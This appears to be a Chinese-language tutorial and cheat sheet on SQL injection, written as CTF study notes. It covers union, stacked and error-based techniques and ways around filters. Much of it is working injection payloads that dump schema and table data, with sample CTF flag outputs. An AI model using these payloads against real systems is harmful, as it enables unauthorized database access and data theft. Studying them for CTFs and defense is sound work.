SQL注入分类:

  • 回显正常
    • 联合查询 union select
  • 回显报错
    • Duplicate entry()
    • extractvalue()
    • updatexml()
  • 盲注
    • 布尔型盲注
    • 基于时间的盲注sleep()

联合注入

联合语句是用来联合多个表进行查询。是将多个表合成为一个表。而在SQL注入中,联合查询的作用是:在已有的系统语句上,通过联合查询可以查询到数据库中的其他内容

这里注意:联合查询时,输出的列数(字段数)需要一致才能成功,否则会报错 The used SELECT statements have a different number of columns

使用例子

1
2
语句1 union all 语句2
语句1 union 语句2

union 和 union all 有细微差别,但影响不大都可以用:

  • union:对两个结果集进行并集操作,不包括重复行,同时进行默认规则的排序;

  • union all:对两个结果集进行并集操作,包括重复行,不进行排序;

当将语句 1 返回 false 时,才会显示语句 2 的查询结果,判断显示位时就是利用这一点。

思路顺序

假设有 username 和 password 两个注入点,下面选择用 username 注入

判断注入点

判断注入类型

整数型查询 demo :select * from tablename where id = $_GET[‘id’]

字符型查询 demo :select * from tableName where username=’$_GET[‘username’]’ and username=’$_GET[‘password’]’

假设正常查询 ?username=1 ,然后拼接两次查询:

1
2
?username=1 and 1=1
?username=1 and 1=2

前后页面(查询结果)没有变化是字符型。前后页面(查询结果)有变化是整数型。

判断闭合符

整数型就不用什么闭合符了,直接加上 union :

1
?username=1 union 语句2

字符型就需要判断闭合符号是什么,然后再加上注释符 # 将后面的闭合符号注释,使注入语句脱离闭合符号。(URL中 %23 为 # 的编码)

常见的闭合方式有:''""()('')("")

测试方法:在前面测试类型语句加上闭合符。如果页面(查询结果)有变化,那么闭合符就是当前语句中的。

1
?username=1' and 1=2#

万能密码就是测试闭合符号最好的例子

判断显示位

语句 1 设置查询错误的语句,显示语句 2 查询结果

1
?username=-1' union select 1,2,3,...#

判断字段数

利用 order by 对查询结果按照指定字段进行排序,可以用字段名,也可以用字段的栏位来进行指定,第一个字段为 1,第二个字段为 2 以此类推。

NUM 是字段数,取能够正常查询的最大值就是字段数:

1
?username=admin' order by NUM#

超出字段数报错:Unknown column ‘NUM’ in ‘order clause’

查询信息

以下查询基于有 3 个回显点,1 不显示在页面上,因此将需要查询内容安排在 3

联合查询的语句 2 要放在回显位最后,不然语句 2 拼接有 sql 错误

  • 查询数据库名

    查询 sql 服务器全部数据库名

    1
    ?username=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata#

    查询执行 sql 语句的数据库名

    1
    ?username=-1' union select 1,database(),3#
  • 查询表名

    1
    ?username=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'#
  • 查字段

    1
    ?username=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'#
  • 查数据

    1
    ?username=1' union select 1,2,group_concat(字段1,字段2,...) from (数据库名.表名)#

参考资料

关键词过滤绕过

双写

假如过滤 or ,后端会将 or 替换为 (空),那么双写 or 绕过:

1
oorr ==> or

or /and过滤绕过

or / and 关键词被过滤,使用 ^ \ () 绕过。

^ 在 sql 是按位与,前后值与操作返回值是 True 。后面拼接上去的是要函数,尝试拼接表达式(^(1=1))或者布尔值(^1)都不行,需要拼接函数表达式。

1
2
3
admin' or 1=1#
admin' ^ database()#
admin' ^ select flag from users.passwd#

= 过滤绕过

使用 like() 绕过

1
2
3
admin' or 1=1#
admin' or (1)like(1)#
admin' or user_id like(1)#

空格过滤绕过

使用 () 绕过

1
2
3
admin' or 1=1#
admin'or(1=1)#
admin'or(select(flag)from(users.passwd))#

堆叠注入

堆叠注入为攻击者提供了很多控制权,与仅限于 SELECT 语句的 联合注入 (union injection)攻击不同,堆叠注入可以用于执行任何SQL语句。
联合注入(union injection)是将两条语句合并在一起,union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

原理

sql 分号 ; 表示一条语句的结束。如果在分号 ; 的后面再加一条语句,这条语句也可以被执行,这样就可以在一次数据库的调用中执行多个语句。

1
select * from users where id =1;show databases;

局限性

堆叠注入并不是在每种情况下都能使用的。可能因为API或数据库引擎的不支持,堆叠注入都无法实现。
image.png
代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用联合注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

常用语句

  • 查询数据库

    1
    select flag from FLAG;show databases;
  • 查询表

    1
    select flag from FLAG;show tables;

题目

参考文章

报错注入

报错注入定义

SQL 报错注入基于报错的信息获取,虽然数据库报错了,当我们已经获取到我们想要的数据。例如在增加删除修改处尝试( insert/update/delete )。

使用前提

后台没有屏蔽数据库报错信息,在语法发生错误的时候,错误信息会输出在前端。

常见报错函数

  • updatexml():是mysql对xml文档数据进行查询和修改的xpath函数
  • extractvalue():是mysql对xml文档数据进行查询的xpath函数
  • floor():mysql中用来取整的函数
  • exp():此函数返回e(自然对数的底)指数X的幂值

xpath报错注入(updatexml、extractvalue)

在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:

  • updatexml()
  • extractvalue()

当这两个函数在执行时,如果出现 xml 文档路径错误就会产生报错

extractvalue

extractvalue 从目标 XML 中返回包含所查询值的字符串

  • 语法:extractvalue(XML_document,xpath_string)
    • 第一个参数:string格式,为XML文档对象的名称
    • 第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

extractvalue 使用时,当 xpath_string 格式出现错误,mysql 则会报出 xpath 语法错误(xpath syntax)

例如:select user,password from users where user_id=1 and (extractvalue(1,0x7e)); 由于 0x7e 就是 ~ 不属于 xpath 语法格式,因此报出 xpath 语法错误。

报错注入语句格式
1
2
?id=2 and extractvalue(0,concat(0x7e,(sql语句),0x7e))%23
?id=2 or extractvalue(null,concat(0x7e,(sql语句),0x7e))#
  • and \ or 任选,连接前后两个查询语句而已
  • 0x7e 是 ~ 用于分割数据
  • %23 是 # 看实际情况是否需要 url 编码
  • sql语句可以加 () 括住,database 那些可以不加,用到 limit 爆破表名列名需要加上不然语法错误
爆破数据库名
1
?id=2 and extractvalue(0,concat(0x7e,database(),0x7e))#
爆破表名

xpath 回显只有一位使用 limit 函数逐个爆,且最长为 32 位,超过 32 位爆不了

limit 0,1 是第一个数据 limit 1,1 是第二个数据

1
2
?id=2 and extractvalue(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e))#
?id=2 and extractvalue(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 1,1),0x7e))#
爆破列名(字段)

假设表名为 flag

1
?id=2 and extractvalue(0,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()and table_name='flag'limit 0,1),0x7e))#
爆破数据

假设表名为 flag 、列名为 flag

1
?id=2 and extractvalue(0,concat(0x7e,(select flag from flag limit 0,1),0x7e))#

只显示 32 位结果,当数据长度大于 32 位时显示不完全。

  • 借助 mid()

    1
    ?id=2 and extractvalue(0,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e))#
  • 使用 left()right()

    1
    2
    3
    4
    5
    6
    #多种写法
    ?id=2 and extractvalue(0,concat(0x7e,(select left(group_concat(flag),32) from flag),0x7e))#

    ?id=2 and extractvalue(0,concat(0x7e,(select (left(group_concat(flag),32)) from flag),0x7e))#

    ?id=2 and extractvalue(0,concat(0x7e,left((select group_concat(flag) from flag)),0x7e))#
    1
    2
    3
    4
    5
    6
    #多种写法
    ?id=2 and extractvalue(0,concat(0x7e,(select right(group_concat(flag),32) from flag),0x7e))#

    ?id=2 and extractvalue(0,concat(0x7e,(select (right(group_concat(flag),32)) from flag),0x7e))#

    ?id=2 and extractvalue(0,concat(0x7e,right((select group_concat(flag) from flag)),0x7e))#

updatexml

updatexml 是一个使用不同的 xml 标记匹配和替换 xml 块的函数。

  • 作用:改变文档中符合条件的节点的值
  • 语法: updatexml(XML_document,XPath_string,new_value)
    • 第一个参数:是string格式,为XML文档对象的名称,文中为Doc
    • 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】
    • 第三个参数:string格式,替换查找到的符合条件的数据

updatexml 使用时,当 xpath_string 格式出现错误,mysql 则会爆出 xpath 语法错误(xpath syntax)

例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于 0x7e 是 ~ ,不属于 xpath 语法格式,因此报出 xpath 语法错误。

报错注入语句格式
1
2
?id=2 and updatexml(0,concat(0x7e,(sql语句),0x7e),1)%23
?id=2 or updatexml(null,concat(0x7e,(sql语句),0x7e),1)#
  • and \ or 任选,连接前后两个查询语句而已
  • 0x7e 是 ~ 用于分割数据
  • %23 是 # 看实际情况是否需要 url 编码
  • sql语句可以加 () 括住,database 那些可以不加,用到 limit 爆破表名列名需要加上不然语法错误
爆破数据库名
1
?id=2 and updatexml(0,concat(0x7e,database(),0x7e),1)#
爆破表名

xpath 回显只有一位使用 limit 函数逐个爆,且最长为 32 位,超过 32 位爆不了

limit 0,1 是第一个数据 limit 1,1 是第二个数据

1
2
?id=2 and updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e),1)#
?id=2 and updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 1,1),0x7e),1)#

一次性查询所有表名:

1
?id=2 and updatexml(0,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=DATABASE())),1)#
爆破列名(字段)

假设表名为 flag

1
?id=2 and updatexml(0,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()and table_name='flag'limit 0,1),0x7e),1)#

一次性查询全部字段名:

1
?id=2 and updatexml(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag')),1)#
爆破数据

假设表名为 flag 、列名为 flag

1
?id=2 and updatexml(0,concat(0x7e,(select flag from flag limit 0,1),0x7e),1)#

只显示 32 位结果,当数据长度大于 32 位时显示不完全。

  • 借助 mid()

    1
    ?id=2 and updatexml(0,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1)#
  • 使用 left()right()

    1
    2
    3
    4
    5
    6
    #多种写法
    ?id=2 and updatexml(0,concat(0x7e,(select left(group_concat(flag),32) from flag),0x7e),1)#

    ?id=2 and updatexml(0,concat(0x7e,(select (left(group_concat(flag),32)) from flag),0x7e),1)#

    ?id=2 and updatexml(0,concat(0x7e,left((select group_concat(flag) from flag)),0x7e),1)#
    1
    2
    3
    4
    5
    6
    #多种写法
    ?id=2 and updatexml(0,concat(0x7e,(select right(group_concat(flag),32) from flag),0x7e),1)#

    ?id=2 and updatexml(0,concat(0x7e,(select (right(group_concat(flag),32)) from flag),0x7e),1)#

    ?id=2 and updatexml(0,concat(0x7e,right((select group_concat(flag) from flag)),0x7e),1)#
    • left 参数越大显示越长,最大只能 32 ;都是从头开始显示

    • right 参数大能会不能显示字符串最后字符

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      admin'or(updatexml(0,concat(0x7e,left((select(group_concat(password))from(geek.H4rDsq1)),30)),0x7e),1)#
      flag{3eadc040-974c-4535-84ce-0

      admin'or(updatexml(0,concat(0x7e,left((select(group_concat(password))from(geek.H4rDsq1)),32)),0x7e),1)#
      flag{3eadc040-974c-4535-84ce-07

      admin'or(updatexml(0,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),32)),0x7e),1)#
      040-974c-4535-84ce-07a31c252352

      admin'or(updatexml(0,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),30)),0x7e),1)#
      0-974c-4535-84ce-07a31c252352}

floor

floor (rand(0)*2)

floor 函数的作用就是返回小于等于括号内该值的最大整数。
rand() 本身是返回 0~1 的随机数,但在后面 *2 就变成了返回 0~2 之间的随机数。配合上 floor 函数就可以产生确定的两个数,即 0 和 1 。并且结合固定的随机数种子 0 ,它每次产生的随机数列都是相同的值。

hackbar自带payload

爆数据库

+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得到数据库 sqli

爆表

?id=1+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=0x73716c69+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得出第一个表为news 修改为limit 1,1 得出为flag表

爆列名

?id=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x666c6167+AND+table_schema=0x73716c69+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得出列名为flag

最终payload

?id=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(flag)+AS+CHAR),0x7e))+FROM+sqli.flag+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得到ctfhub{27b940d5fcab0bfddfc162ed1b6a95dd9b6de02d}

exp

exp() 当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误。

1
2
3
4
' or EXP(~(SELECT * from(select version())a)) or '
爆表' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '
爆列' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '
爆数据 ' or wzp(~(select * from(select password from users limit 0,1)a)) or '

相关题目

[极客大挑战 2019]HardSQL - 报错注入&关键词绕过

参考文章

https://www.cnblogs.com/c1047509362/p/12806297.html

https://www.cnblogs.com/c1047509362/p/12806297.html